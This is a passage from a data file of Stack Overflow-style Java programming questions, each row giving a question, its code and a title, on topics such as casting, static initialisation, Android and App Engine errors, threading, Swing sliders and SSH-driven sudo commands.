-pre-test-run '' if= '' have.tests '' name= '' -do-test-run-with-groovy '' > < j2seproject3 : test testincludes= '' '' / > < /target > < target depends= '' init , compile-test , -pre-test-run , -do-test-run-with-groovy '' if= '' have.tests '' name= '' -post-test-run-with-groovy '' > < fail if= '' tests.failed '' unless= '' ignore.failing.tests '' > Some tests failed ; see details above. < /fail > < /target > < target depends= '' init , compile-test , -pre-test-run , -do-test-run-with-groovy , test-report , -post-test-run-with-groovy , -test-browse '' description= '' Run unit tests . '' name= '' test-with-groovy '' / > < target depends= '' init , compile-test-single , -pre-test-run-single '' if= '' have.tests '' name= '' -do-test-run-single-groovy '' > < fail unless= '' test.binarytestincludes '' > Must select some files in the IDE or set test.includes < /fail > < j2seproject3 : test testincludes= '' '' / > < /target >",Why does n't running test-with-groovy from ant command line in a netbeans project run the tests ? +Java,The below code gives me compile time error Type mismatch : can not convert from int to bytebut the below doesn'tI do n't understand why compiler is behaving in case of final ?,int i = 10 ; byte b = i ; final int i = 10 ; byte b = i ;,Java compile time error in case of casting +Java,I simply do n't understand the following code 's execution flow : It is supposed to print S2 at second println statement . I am more interested in understanding why this happens rather than a solution .,class Test { static String s1 = getVal ( ) ; static String s2 = `` S2 '' ; private static String getVal ( ) { return s2 ; } public static void main ( String args [ ] ) { System.out.println ( s2 ) ; // prints S2 System.out.println ( s1 ) ; // prints null } },Why does a static variable initialized by a method call that returns another static variable remains null ? +Java,"I have released an alpha version of my app with Google Play services.However , I have encountered this error when I tested the app on a phone with Google Play services . I had n't got this error during compilation or running the app on a phone with an out of date Google Play Service . I Googled this error and in stack overflow but it did n't give me much answer.If anyone have any idea , please help.By the way , I did n't enable pro-guard , so that is n't a problemHere is the bug report : By the way , I use LibGdx , and I used google play services for leader boards , a achievements.I have followed this tutorial but it did n't help me much.Thanks in advance",java.lang.IllegalStateException : A fatal developer error has occurred.Check the logs for further information.at com.google.android.gms.internal.jl $ h.b ( Unknown Source ) at com.google.android.gms.internal.jl $ h.g ( Unknown Source ) at com.google.android.gms.internal.jl $ b.hy ( Unknown Source ) at com.google.android.gms.internal.jl $ a.handleMessage ( Unknown Source ) at android.os.Handler.dispatchMessage ( Handler.java:99 ) at android.os.Looper.loop ( Looper.java:153 ) at android.app.ActivityThread.main ( ActivityThread.java:5338 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:511 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:833 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:600 ) at dalvik.system.NativeStart.main ( Native Method ),Google Play Services Error - Bug report Incomprehensible +Java,"I have a Google App Engine ( 1.8.5 ) project . I would like to serve up static Javascript & CSS via Webjars . However , I keep getting HTTP 404 errors . How do I make my Webjars files accessible ? My src/main/webapp/WEB-INF/appengine-web.xml per Google 's documentation : My src/main/webapp/index.html , referencing the Webjars-provided Bootstrap CSS file : Snippets of pom.xml : This is my first GAE posted question , so I 'm not sure what additional info to provide -- be gentle , SO .",< appengine-web-app xmlns= '' http : //appengine.google.com/ns/1.0 '' > ... < static-files > < include path= '' /resources/** '' / > < include path= '' /webjars/** '' / > < /static-files > < /appengine-web-app > < html > < head > < link rel= '' stylesheet '' href= '' webjars/bootstrap/3.0.0/css/bootstrap.min.css '' > < /head > ... < /html > < dependency > < groupId > com.google.appengine < /groupId > < artifactId > ( lots ) < /artifactId > < version > 1.8.5 < /version > < /dependency > < dependency > < groupId > com.google.inject < /groupId > < artifactId > guice < /artifactId > < version > 4.0-beta < /version > < /dependency > < dependency > < groupId > javax.servlet < /groupId > < artifactId > javax.servlet-api < /artifactId > < scope > provided < /scope > < version > 3.1.0 < /version > < /dependency > < dependency > < groupId > org.webjars < /groupId > < artifactId > bootstrap < /artifactId > < version > 3.0.0 < /version > < /dependency >,How to use Google App Engine with Webjars ? +Java,"I 'm trying to count the number of Ones in the binary representation of an integer . I need to do this recursively . I think my logic is correct but I continue to get a stack overflow . I 'm on day 2 troubleshooting . Here 's my code : My logic is based on this information : `` The standard mechanism for converting from decimal to binary is to repeatedly divide the decimal number by 2 and , at each division , output the remainder ( 0 or 1 ) . ''",static int CountRecursive ( int n ) { int sum = 0 ; if ( n > = 0 ) { if ( n % 2 == 1 ) { sum ++ ; } sum += CountRecursive ( n/2 ) ; } return sum ; },Stack overflow for recursive count of elements in java +Java,"I have a byte variable : I want to see the two left-most bits and do an unsigned right shift of 6 digits : But I 'm getting -1 as if it was int type , and getting 3 only if I shift for 30 ! How can I work around this and get the result only with a 6-digit shift ?",byte varB = ( byte ) -1 ; // binary view : 1111 1111 varB = ( byte ) ( varB > > > 6 ) ;,Why Java unsigned bit shifting for a negative byte is so strange ? +Java,"In Java 8 , given a super class Super in package a and a sub class Sub in package b , who has an inner class SubInner : My question is , why method reference fails to work in this case while normal method call have access to super class method setValue ? Plus , if I try to do Sub.super : :setValue , the code does n't compile and the error seems to be in-line with the runtime error : setValue has protected access in a.Super .","// Super.javapackage a ; public abstract class Super { private long value ; protected final void setValue ( long value ) { this.value = value ; } } //Sub.javapackage b ; public class Sub extends Super { public void foo ( ) { new SubInner ( ) .foo ( ) ; } private class SubInner { void foo ( ) { Optional.of ( 1L ) .ifPresent ( Sub.this : :setValue ) ; // Will throw IllegalAccessError at runtime . Optional.of ( 1L ) .ifPresent ( t - > setValue ( t ) ) ; // However , lambda works . setValue ( 1L ) ; // also works . } } } Exception in thread `` main '' java.lang.BootstrapMethodError : java.lang.IllegalAccessError : tried to access method a.Super.setValue ( J ) V from class b.Sub $ SubInner at b.Sub $ SubInner.foo ( Sub.java:14 ) at b.Sub.foo ( Sub.java:10 ) at b.Sub.main ( Sub.java:22 ) Caused by : java.lang.IllegalAccessError : tried to access method a.Super.setValue ( J ) V from class b.Sub $ SubInner at java.lang.invoke.MethodHandleNatives.resolve ( Native Method ) at java.lang.invoke.MemberName $ Factory.resolve ( MemberName.java:975 ) at java.lang.invoke.MemberName $ Factory.resolveOrFail ( MemberName.java:1000 ) at java.lang.invoke.MethodHandles $ Lookup.resolveOrFail ( MethodHandles.java:1394 ) at java.lang.invoke.MethodHandles $ Lookup.linkMethodHandleConstant ( MethodHandles.java:1750 ) at java.lang.invoke.MethodHandleNatives.linkMethodHandleConstant ( MethodHandleNatives.java:477 ) ... 3 more",Why do I get a BootstrapMethodError when trying to call a super class 's protected method using method reference from an inner class ? +Java,"I have a small java file given below.It gives error while compiling in cmd but not in Netbeans . Also , when I replace ' ( int ) a ' with ' ( Integer ) a ' , it compiles and runs fine on both cmd and Netbeans.What is the reason for this and how can I fix this ? EDIT : The error that shows up while compiling the first code is : EDIT : This question is not about casting . It is about why cmd and Netbeans behave differently when I cast object into int using ' ( int ) ' but behave in a same way when cast using ' ( Integer ) ' .",class abc { public static void main ( String args [ ] ) { Object a= 9 ; int b= ( int ) a ; System.out.print ( b ) ; } } class abc { public static void main ( String args [ ] ) { Object a= 9 ; int b= ( Integer ) a ; System.out.print ( b ) ; } } C : \Users\ANKIT.ANKITSHUBHAM-PC > javac abc.java abc.java:4 : inconvertible types found : java.lang.Object required : int int b= ( int ) a ; ^ 1 error,Error while compiling in cmd but not in Netbeans +Java,"I have a set of questions regarding Java multithreading issues . Please provide me with as much help as you can.0 ) Assume we have 2 banking accounts and we need to transfer money between them in a thread-safe way . i.e . Two requirements exist : no one should be able to see the intermediate results of the operation ( i.e . one acount sum is increased , but others is not yet decreased ) reading access should not be blocked during the operation ( i.e . old values of account sums should be shown during the operation goes on ) Can you suggest some ideas on this ? 1 ) Assume 2 threads modify some class field via synchronized method or utilizing an explicit lock . Regardless of synchronization , there are no guarantee that this field will be visible to threads , that read it via NOT synchronized method . - is it correct ? 2 ) How long a thread that is awoken by notify method can wait for a lock ? Assume we have a code like this : Can we state that at least one thread will succeed and grab the lock ? Can a signal be lost due to some timeout ? 3 ) A quotation from Java Concurrency Book : '' Single-threaded executors also provide sufficient internal synchronization to guarantee that any memory writes made by tasks are visible to subsequent tasks ; this means that objects can be safely confined to the `` task thread '' even though that thread may be replaced with another from time to time . `` Does this mean that the only thread-safety issue that remains for a code being executed in single-threaded executor is data race and we can abandon the volatile variables and overlook all visibility issues ? It looks like a universal way to solve a great part of concurrency issues . 4 ) All standard getters and setters are atomic . They need not to be synchronized if the field is marked as volatile . - is it correct ? 5 ) The initiation of static fields and static blocks is accomplished by one thread and thus need not to be synchronized . - is it correct ? 6 ) Why a thread needs to notify others if it leaves the lock with wait ( ) method , but does not need to do this if it leaves the lock by exiting the synchronized block ?",accountA.money += transferSum ; accountB.money -= transferSum ; synchronized ( lock ) { lock.notifyall ( ) ; //do some very-very long activity lock.wait ( ) //or the end of synchronized block },"Some questions on java multithreading ," +Java,I decompiled some Java code the other day and found this : Obviously using '== ' to test for string equality is badBut I wondered - This code has been compiled and decompiled . If all the strings have been defined at compile time and interned and the code has been compiled - is it possible that s1.equals ( s2 ) could have been optimized down to 's1 == s2 ' ?,String s1 = `` something '' ; String s2 = `` something_else '' ; if ( s1 == s2 ) { // Path 1 } else { // Path 2 },Java - strings equals when decompiled +Java,"I 've been working on a TAB layout with 3 tabs.My problem isI 'm unable to update , refresh 2nd tab swiping between the pages.As per my debuggingI swipe from tab one to second , the third is being called at getItem ( int position ) , similarly fragment one is being called swiping from third tab to second.The default getOffscreenPageLimit of viewpager is 1 . I could n't even set it to zero count.At getItem , position is 1 at the very beginning but as soon as I swipe page , it only calls position 0 and 2 . 1 is never called . This is my ViewPagerSetUpThis is my ViewPageraddOnPageChangeListener was one option but I could n't refresh it using pageChangelistener too.How can I cure offscreenpagelimit ? How can I refresh every tab on every page swipe ? Thank you .","@ Overridepublic Fragment getItem ( int position ) { return mFragmentList.get ( position ) ; } private void setupViewPager ( ViewPager viewPager ) { ViewPagerAdapter adapter = new ViewPagerAdapter ( getSupportFragmentManager ( ) ) ; adapter.addFragment ( new InvitedFragment ( ) , `` Invited '' ) ; adapter.addFragment ( new InterestedFragment ( ) , `` Interested '' ) ; adapter.addFragment ( new AttendingFragment ( ) , `` Attending '' ) ; viewPager.setAdapter ( adapter ) ; } class ViewPagerAdapter extends FragmentPagerAdapter { private final List < Fragment > mFragmentList = new ArrayList < > ( ) ; private final List < String > mFragmentTitleList = new ArrayList < > ( ) ; public ViewPagerAdapter ( FragmentManager manager ) { super ( manager ) ; } @ Override public Fragment getItem ( int position ) { return mFragmentList.get ( position ) ; } public void refreshFragment ( int position ) { mFragmentList.get ( position ) .onResume ( ) ; } @ Override public int getCount ( ) { return mFragmentList.size ( ) ; } public void addFragment ( Fragment fragment , String title ) { mFragmentList.add ( fragment ) ; mFragmentTitleList.add ( title ) ; } @ Override public CharSequence getPageTitle ( int position ) { return mFragmentTitleList.get ( position ) ; } }",Not able to update middle fragment in View Pager . +Java,I have a question about generics in Java and instanceof operator.It 's immposible to make such instanceof check : but it 's possible to run this one : Now comes my question - is there any difference between arg instanceof List and arg instanceof List < ? > ?,if ( arg instanceof List < Integer > ) // immposible due to // loosing parameter at runtime if ( arg instanceof List < ? > ),Instanceof for generic with < ? > or without < ? > +Java,"I am trying to connect my remote unix machine and execute some ssh commands using a java program.Here it needs password again & ofcrs , I ca n't provide because there is no terminal.So created a user.sh file @ my unix user home direcotry ( /home/ ... ./bharat ) with below content.but now if I call bash user.sh like belowafter logging in with my user in java , it gives below error & could not figure out the resolution for this yet . Please help : ) The Response of Send ( `` cd /u02/app/oracle/xyz/admin/domains/11.1.1.9/xxxx_xx_xxx_xxx.domain/shared/logs/xxxx '' ) ; is below - Highlighted Red == > shows the response , I am getting as of now.Highlighted Blue == > Expected response.Highlighted Green == > works fine if I send 4 smaller commands by splitting the same command .","connection = new Connection ( hostname ) ; connection.connect ( ) ; boolean isAuthenticated = connection.authenticateWithPassword ( username , password ) ; if ( isAuthenticated == false ) throw new IOException ( `` Authentication failed . `` ) ; Session session = connection.openSession ( ) ; session.execCommand ( `` sudo su - weblogic '' ) ; echo < mypassword > | sudo -S su - weblogicsudo -S su - weblogic session.execCommand ( `` bash user.sh '' ) ; sudo : sorry , you must have a tty to run sudosudo : sorry , you must have a tty to run sudo",`` Sudo su - weblogic '' via a Java Program ? +Java,"I 'm working on a project in Java that is kind of like a digital time-machine , it basically saves what happened on a specific sate , archives it to a specific file , and stores it in a directory somewhere for safe keeping . Right now I 'm working on a password function . I have the basics down for checking if it 's right or wrong , but when I input the wrong answer , the class ends after saying `` Invalid Password '' .Is there a way to have it loop from the end of else statement to the beginning of main so I do n't have to re-execute the class everytime ?","import java.util.Scanner ; import java.util . * ; public class Adam { public static void main ( String args [ ] ) { String passwrd = `` password '' ; String inputPassword ; System.out.print ( `` Please Input Password `` ) ; Scanner sc = new Scanner ( System.in ) ; inputPassword = sc.nextLine ( ) ; if ( inputPassword.equals ( passwrd ) ) { System.out.println ( `` Password Accepted , Loading Archive ... '' ) ; } else { System.out.println ( `` Invalid Password '' ) ; } } }",Loop from a specific point to another point in Java ? +Java,Can anyone help me debug this program ? The following is server code : And this is the client code : The problem is that when I run this program both client & server go into indefinite waiting state.Could anyone tell me what 's wrong with this code ? Thanks in advance !,"package networking ; import java.io.IOException ; import java.io.PrintWriter ; import java.net.ServerSocket ; import java.net.Socket ; import java.util.Scanner ; class TcpServer { public static void main ( String [ ] args ) throws IOException { ServerSocket serverSocket = new ServerSocket ( 5555 ) ; while ( true ) { Socket client = serverSocket.accept ( ) ; Scanner reader = new Scanner ( client.getInputStream ( ) ) ; PrintWriter writer = new PrintWriter ( client.getOutputStream ( ) ) ; String inputString = reader.nextLine ( ) ; System.out.println ( `` Received from client : `` + inputString ) ; writer.write ( inputString.toUpperCase ( ) ) ; client.close ( ) ; } } } package networking ; import java.io.PrintWriter ; import java.io.IOException ; import java.net.Socket ; import java.util.Scanner ; class TcpClient { public static void main ( String [ ] args ) throws IOException { Socket client = new Socket ( `` localhost '' , 5555 ) ; PrintWriter writer = new PrintWriter ( client.getOutputStream ( ) ) ; Scanner reader=new Scanner ( client.getInputStream ( ) ) ; writer.println ( `` oPen SOurCe RUleS ! `` ) ; System.out.println ( `` Received from server : `` +reader.nextLine ( ) ) ; client.close ( ) ; } }",Problem in TCP Program ( Java ) +Java,"I 've been having some problems using the JSlider class - specifically with tick labels.The first time I use setMajorTickSpacing and setMinorTickSpacing everything works as expected . However , subsequent calls to setMajorTickSpacing update the ticks , but not the labels . I 've written a simple example to demonstrate this behaviour : Two simple work-arounds seem to fix the problem - either using slider.setLabelTable ( null ) or slider.setLabelTable ( slider.createStandardLabels ( 25 ) ) before the second call to setMajorTickSpacing . Given this , it would seem that the label table is not being updated correctly.I 'm not sure if this is the intended behaviour or not . My first instinct is that updating the tick spacing should also update the labels , but there are also arguments for separating the two.So I 'd like to know which it is - is this a bug in JSlider or the intended behaviour ? If it is the intended behaviour , what would be the standout reasons for making that choice ?","import java.awt.event . * ; import javax.swing . * ; public class SliderTest { public static void main ( String args [ ] ) { JFrame frame = new JFrame ( ) ; frame.addWindowListener ( new WindowAdapter ( ) { public void windowClosing ( WindowEvent we ) { System.exit ( 0 ) ; } } ) ; frame.setSize ( 300 , 250 ) ; JSlider slider = new JSlider ( 0 , 100 , 0 ) ; slider.setMajorTickSpacing ( 10 ) ; slider.setMinorTickSpacing ( 1 ) ; slider.setPaintLabels ( true ) ; slider.setPaintTicks ( true ) ; slider.setMajorTickSpacing ( 25 ) ; slider.setMinorTickSpacing ( 5 ) ; frame.add ( slider ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } }",Is this a bug in JSlider ? +Java,Based on this answer I try to configure a request scope bean using java.util.Function interface.My Configuration looks like this : And I try to use the bean like this : And here : But I get the exception that there is no bean of type Function defined . Is there a problem by using generic types ? What do I wrong ?,"@ Configurationpublic class RequestConfig { @ Bean public Function < ? extends BaseRequest , RequestWrapper < ? extends BaseRequest , ? extends BaseResponse > > requestWrapperFactory ( ) { return request - > requestWrapper ( request ) ; } @ Bean @ RequestScope public RequestWrapper < ? extends BaseRequest , ? extends BaseResponse > requestWrapper ( BaseRequest request ) { RequestWrapper < ? , ? > requestWrapper = new RequestWrapper < BaseRequest , BaseResponse > ( request ) ; return requestWrapper ; } } @ RestControllerpublic class CheckRequestController { private final RequestService < CheckRequest , CheckResponse > checkRequestServiceImpl ; @ Autowired private Function < CheckRequest , RequestWrapper < CheckRequest , CheckResponse > > requestWrapperFactory ; public CheckRequestController ( RequestService < CheckRequest , CheckResponse > checkRequestServiceImpl ) { super ( ) ; this.checkRequestServiceImpl = checkRequestServiceImpl ; } @ PostMapping ( value = `` /check '' , consumes = { MediaType.TEXT_XML_VALUE , MediaType.MULTIPART_FORM_DATA_VALUE } , produces = MediaType.TEXT_XML_VALUE ) public ResponseEntity < CheckResponse > checkRequest ( @ RequestBody ( required = true ) CheckRequest checkRequest ) { RequestWrapper < CheckRequest , CheckResponse > requestWrapper = requestWrapperFactory .apply ( checkRequest ) ; checkRequestServiceImpl.getResponse ( requestWrapper ) ; return new ResponseEntity < CheckResponse > ( requestWrapper.getResponse ( ) , HttpStatus.OK ) ; } } @ RestControllerpublic class CancelRequestController { private final RequestService < CancelRequest , CancelResponse > cancelRequestServiceImpl ; @ Autowiredprivate Function < CancelRequest , RequestWrapper < CancelRequest , CancelResponse > > requestWrapperFactory ; public CancelRequestController ( RequestService < CancelRequest , CancelResponse > cancelRequestServiceImpl ) { super ( ) ; this.cancelRequestServiceImpl = cancelRequestServiceImpl ; } @ PostMapping ( value = `` /cancel '' , consumes = { MediaType.TEXT_XML_VALUE , MediaType.MULTIPART_FORM_DATA_VALUE } , produces = MediaType.TEXT_XML_VALUE ) public ResponseEntity < CancelResponse > CancelRequest ( @ RequestBody ( required = true ) CancelRequest cancelRequest ) { RequestWrapper < CancelRequest , CancelResponse > requestWrapper = requestWrapperFactory .apply ( cancelRequest ) ; cancelRequestServiceImpl.getResponse ( requestWrapper ) ; return new ResponseEntity < CancelResponse > ( requestWrapper.getResponse ( ) , HttpStatus.OK ) ; } } Field requestWrapperFactory in CheckRequestController required a bean of type 'java.util.Function ' that could not be found.The injection point has the following annotations : - @ org.springframework.beans.factory.annotation.Autowired ( required=true ) Action : Consider defining a bean of type 'java.util.Function ' in your configuration .",Create request scoped beans from a Java 8 Function +Java,"Running the code below on Windows 10 / OpenJDK 11.0.4_x64 produces as output used : 197 and expected usage : 200 . This means that 200 byte arrays of one million elements take up approx . 200MB RAM . Everything fine.When I change the byte array allocation in the code from new byte [ 1000000 ] to new byte [ 1048576 ] ( that is , to 1024*1024 elements ) , it produces as output used : 417 and expected usage : 200 . What the heck ? Looking a bit deeper with visualvm , I see in the first case everything as expected : In the second case , in addition to the byte arrays , I see the same number of int arrays taking up the same amount of RAM as the byte arrays : These int arrays , by the way , do not show that they are referenced , but I ca n't garbage collect them ... ( The byte arrays show just fine where they are referenced . ) Any ideas what is happening here ?","import java.io.IOException ; import java.util.ArrayList ; public class Mem { private static Runtime rt = Runtime.getRuntime ( ) ; private static long free ( ) { return rt.maxMemory ( ) - rt.totalMemory ( ) + rt.freeMemory ( ) ; } public static void main ( String [ ] args ) throws InterruptedException , IOException { int blocks = 200 ; long initiallyFree = free ( ) ; System.out.println ( `` initially free : `` + initiallyFree / 1000000 ) ; ArrayList < byte [ ] > data = new ArrayList < > ( ) ; for ( int n = 0 ; n < blocks ; n++ ) { data.add ( new byte [ 1000000 ] ) ; } System.gc ( ) ; Thread.sleep ( 2000 ) ; long remainingFree = free ( ) ; System.out.println ( `` remaining free : `` + remainingFree / 1000000 ) ; System.out.println ( `` used : `` + ( initiallyFree - remainingFree ) / 1000000 ) ; System.out.println ( `` expected usage : `` + blocks ) ; System.in.read ( ) ; } }",Java byte array of 1 MB or more takes up twice the RAM +Java,"I always use String.valueOf ( integer ) to convert an integer to a string , but I saw someone to do it by integer + `` '' . For example , So , is that a good way to convert integer to string ?",int i = 0 ; String i0 = i + `` '' ;,Is 'integer + `` '' ' a good way to convert a integer to string in Java ? +Java,"I have a long operation that I want to profile in JProfiler ( or other suggestions ) , but the method is very recursive , so the tree view in CPU View does n't help very much . It shows me CPU times like this : You see , the recursiveMethod really does n't take any time at all . Rather , its the otherMethods that take up time , and are the ones I want to profile . My ideal view would show recursiveMethod having next to 0 % time , and the otherMethods combining to near 100 % .So is there any way in JProfiler to roll this view up so that I can view where my CPU time is being spent more clearly ? Does anyone have a suggestion for another profiler that can do this ? Note : I am using JProfiler 6 , but could potentially upgrade if another version could do this.Thanks !",beginOperation 100 % |- recursiveMethod 99 % | | - recursiveMethod 98 % | | | - recursiveMethod 97 % | | | | - ... more recursion| | |- otherMethods 1 % | | - otherMethod 1 % | - otherMethods 1 %,jprofiler or other : how do I roll up recursive method calls ? +Java,"I am using a ( little modified ) workaround from this course , to fetch the userId , which is null if the request was sent from an Android client.Although I am not able to get the userId.This workaround has already worked perfectly in other projects , so the problem must be elsewhere . My endpoints api is annotated with the following scopes , clientIds and audiences : Constants.ANDROID_AUDIENCE and Constants.WEB_CLIENT_ID are the same . I am not using a web client , but Google told me to add a web client id . Does this client id need to have redirect uris and javascript origins specified ? In my Android client I am using the following to specify the audience.Please help me to figure this one out .","/** * This is an ugly workaround for null userId for Android clients . * * @ param user A User object injected by the cloud endpoints . * @ return the App Engine userId for the user . */private static String getUserId ( User user ) { String userId = user.getUserId ( ) ; if ( userId == null ) { LOG.info ( `` userId is null , so trying to obtain it from the datastore . `` ) ; AppEngineUser appEngineUser = new AppEngineUser ( user ) ; ofy ( ) .save ( ) .entity ( appEngineUser ) .now ( ) ; AppEngineUser savedUser = ofy ( ) .load ( ) .key ( appEngineUser.getKey ( ) ) .now ( ) ; userId = savedUser.getUser ( ) .getUserId ( ) ; LOG.info ( `` Obtained the userId : `` + userId ) ; } return userId ; } INFO : Obtained the userId : null scopes = { Constants.EMAIL_SCOPE } , clientIds = { Constants.API_EXPLORER_CLIENT_ID , Constants.WEB_CLIENT_ID , Constants.ANDROID_CLIENT_ID } , audiences = { Constants.ANDROID_AUDIENCE } mCredential = GoogleAccountCredential.usingAudience ( EndpointService.this , `` server : client_id : IDIDIDID.apps.googleusercontent.com '' ) ;",Google App Engine Cloud Endpoints userId is null +Java,"I have the problem that I want to and need to get rid of some if else cases . I got the following code in my project : That three classes WeekThreshold , MonthThreshold and YearThreshold extend from an AbstractThreshold class where they get dates from a calendar , but that is not important . The method quarterThreshold ( ) is special and can stay there . But how can I get rid of that if else blocks and have one statement to call different classes ? EDIT : Forgot to mention , the classes that need to be called are from a variety of the array ar [ ] . If the array ar [ 4 ] is month , MonthThreshold must be called , etc .",if ( ar [ 4 ] .equals ( `` week '' ) ) { WeekThreshold wt = new WeekThreshold ( ) ; firstTime = unparsedDate.format ( wt.getStartDate ( ) .getTime ( ) ) ; secondTime = unparsedDate.format ( wt.getEndDate ( ) .getTime ( ) ) ; } else if ( ar [ 4 ] .equals ( `` month '' ) ) { MonthThreshold mt = new MonthThreshold ( ) ; firstTime = unparsedDate.format ( mt.getStartDate ( ) .getTime ( ) ) ; secondTime = unparsedDate.format ( mt.getEndDate ( ) .getTime ( ) ) ; } else if ( ar [ 4 ] .equals ( `` quarter '' ) ) { quarterThreshold ( ) ; } else if ( ar [ 4 ] .equals ( `` year '' ) ) { YearThreshold yt = new YearThreshold ( ) ; firstTime = unparsedDate.format ( yt.getStartDate ( ) .getTime ( ) ) ; secondTime = unparsedDate.format ( yt.getEndDate ( ) .getTime ( ) ) ; },Getting rid of if/else while calling similar classes Java +Java,"I have a simple program like this : As you can see It does absolutely nothing . Compilation of this program files on java 1.6 and 1.7 with following error : /D : /Projects/ ... /test/TestGenericsInheritance.java : [ 24,19 ] test.TestGenericsInheritance.B is not abstract and do es not override abstract method foo ( java.lang.Object ) in test.TestGenericsInheritance.A /D : /Projects/ ... /test/TestGenericsInheritance.java : [ 27,25 ] name clash : foo ( T ) in test.TestGenericsInheritance .B and foo ( T ) in test.TestGenericsInheritance.A have the same erasure , yet neither overrides the other /D : /Projects/ ... /test/TestGenericsInheritance.java : [ 26,9 ] method does not override or implement a method from a supertypeClasses C and B are semantically identical , however class B does n't recognize method foo as implementation of A # foo . To make this code compliant I have to implement method A # foo in class B with following signature : My question is , why my program does n't compile ? Generic types Q and T are completely independent , so why I may implement generic function A # foo only when I explicitly specify generic type Q for the inherited class A ? Thanks",package test ; public class TestGenericsInheritance { public static void main ( String [ ] args ) { } public static abstract class A < Q > { public void foo2 ( Q obj ) { } public abstract < T > void foo ( T obj ) ; } public static class C extends A < Object > { @ Override public < T > void foo ( T obj ) { } } public static class B extends A { @ Override public < T > void foo ( T obj ) { } } } public void foo ( Object obj ),Java Generics - extending generic class with generic function +Java,"I 'm using MOXy 2.6 ( JAXB+JSON ) .I want ObjectElement and StringElement to be marshalled the same way , but MOXy creates wrapper object when fields are typed as Object.ObjectElement.javaStringElement.javaDemo.javaWhen launching Demo.java , here 's the output ... How to configure MOXy/JaxB to make ObjectElement render as StringElement object ? How to avoid the creation of object wrapper with `` type '' and `` value '' properties ?","public class ObjectElement { public Object testVar = `` testValue '' ; } public class StringElement { public String testVar = `` testValue '' ; } import javax.xml.bind.JAXBContext ; import javax.xml.bind.Marshaller ; import org.eclipse.persistence.jaxb.JAXBContextFactory ; import org.eclipse.persistence.jaxb.MarshallerProperties ; import org.eclipse.persistence.oxm.MediaType ; public class Demo { public static void main ( String [ ] args ) throws Exception { JAXBContext jc = JAXBContextFactory.createContext ( new Class [ ] { ObjectElement.class , StringElement.class } , null ) ; Marshaller marshaller = jc.createMarshaller ( ) ; marshaller.setProperty ( MarshallerProperties.MEDIA_TYPE , MediaType.APPLICATION_JSON ) ; System.out.println ( `` ObjectElement : '' ) ; ObjectElement objectElement = new ObjectElement ( ) ; marshaller.marshal ( objectElement , System.out ) ; System.out.println ( ) ; System.out.println ( `` StringElement : '' ) ; StringElement stringElement = new StringElement ( ) ; marshaller.marshal ( stringElement , System.out ) ; System.out.println ( ) ; } } ObjectElement : { `` testVar '' : { `` type '' : '' string '' , '' value '' : '' testValue '' } } StringElement : { `` testVar '' : '' testValue '' }",Avoid creation of object wrapper type/value in MOXy ( JAXB+JSON ) +Java,"I 'm trying to understand a strace of an Java application server running in a oracle JVM.I often see these lines : In this case 215 is a UNIX socket : FD 274 is an open TCP socket.These `` call pairs '' repeat multiple times with the same A socket over multiple minutes.My understanding of dup2 ( A , B ) is that it creates an file descriptor B pointing/refering to the same file/socket A , closing B first if it 's still open.Opengroup says The dup2 ( ) function shall cause the file descriptor fildes2 to refer to the same open file description as the file descriptor fildes and to share any locks , and shall return fildes2 . If fildes2 is already a valid open file descriptor , it shall be closed first , unless fildes is equal to fildes2 in which case dup2 ( ) shall return fildes2 without closing it.My only guess so far is , that this a strange , unoptimized behaviour of the JVM . Is n't it ? Which sense does it make.If necessary , I 'll add more context calls .","[ pid 10465 ] 23:04:59.658453 dup2 ( 215 , 274 ) = 274 [ pid 10465 ] 23:04:59.658616 close ( 274 ) = 0 java 10387 XXX 215u unix 0xffff880037962cc0 0t0 153294021 socket","strace : Any sense in ` dup2 ( A , B ) ; close ( B ) ` ?" +Java,"this is my first question ever . Just to clarify , I did check to see if there were any questions that could have helped me before asking this . Apologies in advance if I do anything incorrectly , I 'm new.Anyways , for my AP CS class I must make a deck a cards and print it out in the text window . I believe I am very close to being finished . As the title says , in general how do I create a deck of cards with a focus on static arrays ? But furthermore ( After the error I ask about below is solved ) , when looking at the code I have produced so far , is that the correct way to do it ? Here is the given code ( meaning this can not be changed ) : And here is the what I have coded so far : Looking at my code , I 'm pretty sure there is a better way to get rid of all those if statements and make it all more short and concise . My sort-of third question ( which may be necessary/might help to solve before answering the main two questions ) is how do I fix this error when I run the program ? : Thank you very much in advance .","public class Card { private String suit ; private String rank ; private int value ; public Card ( String s , String r , int v ) { suit = s ; rank = r ; value = v ; } public String getSuit ( ) { return suit ; } public String getRank ( ) { return rank ; } public int getValue ( ) { return value ; } public void setSuit ( String s ) { suit = s ; } public void setRank ( String r ) { rank = r ; } public void setValue ( int v ) { value = v ; } public String toString ( ) { return `` [ `` + suit + `` , `` + rank + `` , `` + value + `` ] '' ; } } public class Lab11bst { public static void main ( String [ ] args ) { Deck deck = new Deck ( ) ; System.out.println ( deck ) ; } } class Deck { private int numberOfCards ; private Card [ ] cards ; private String [ ] suits = { `` Clubs '' , '' Diamonds '' , '' Hearts '' , '' Spades '' } ; private String rank ; private int value ; public Deck ( ) // This creates a deck of 52 playing cards . { numberOfCards = 52 ; cards = new Card [ 52 ] ; for ( int suit = 0 ; suit < = 3 ; suit++ ) { String [ ] ranks = { `` Two '' , '' Three '' , '' Four '' , '' Five '' , '' Six '' , '' Seven '' , '' Eight '' , '' Nine '' , '' Ten '' } ; for ( int rank = 1 ; rank < = 13 ; rank++ ) { if ( rank == 1 ) { this.rank = `` Ace '' ; } else if ( rank == 11 ) { this.rank = `` Jack '' ; } else if ( rank == 12 ) { this.rank = `` Queen '' ; } else if ( rank == 13 ) { this.rank = `` King '' ; } else { this.rank = `` '' + ranks [ rank ] ; } for ( int value = 1 ; value < = 10 ; value++ ) { if ( this.rank == `` Ace '' ) { value = 1 ; } else if ( this.rank == `` Jack '' ) { value = 10 ; } else if ( this.rank == `` Queen '' ) { value = 10 ; } else if ( this.rank == `` King '' ) { value = 10 ; } else { this.value = value ; } cards [ numberOfCards ] = new Card ( suits [ suit ] , this.rank , value ) ; numberOfCards ++ ; } } } } } Exception in thread `` main '' java.lang.ArrayIndexOutOfBoundsException : 52 at Deck. < init > ( Lab11bst.java:89 ) at Lab11bst.main ( Lab11bst.java:5 )",Java - How to create a deck of cards ( with a focus on static arrays ) ? - AP Computer Science Project +Java,"I wrote this Java code in intellij : Next I set a 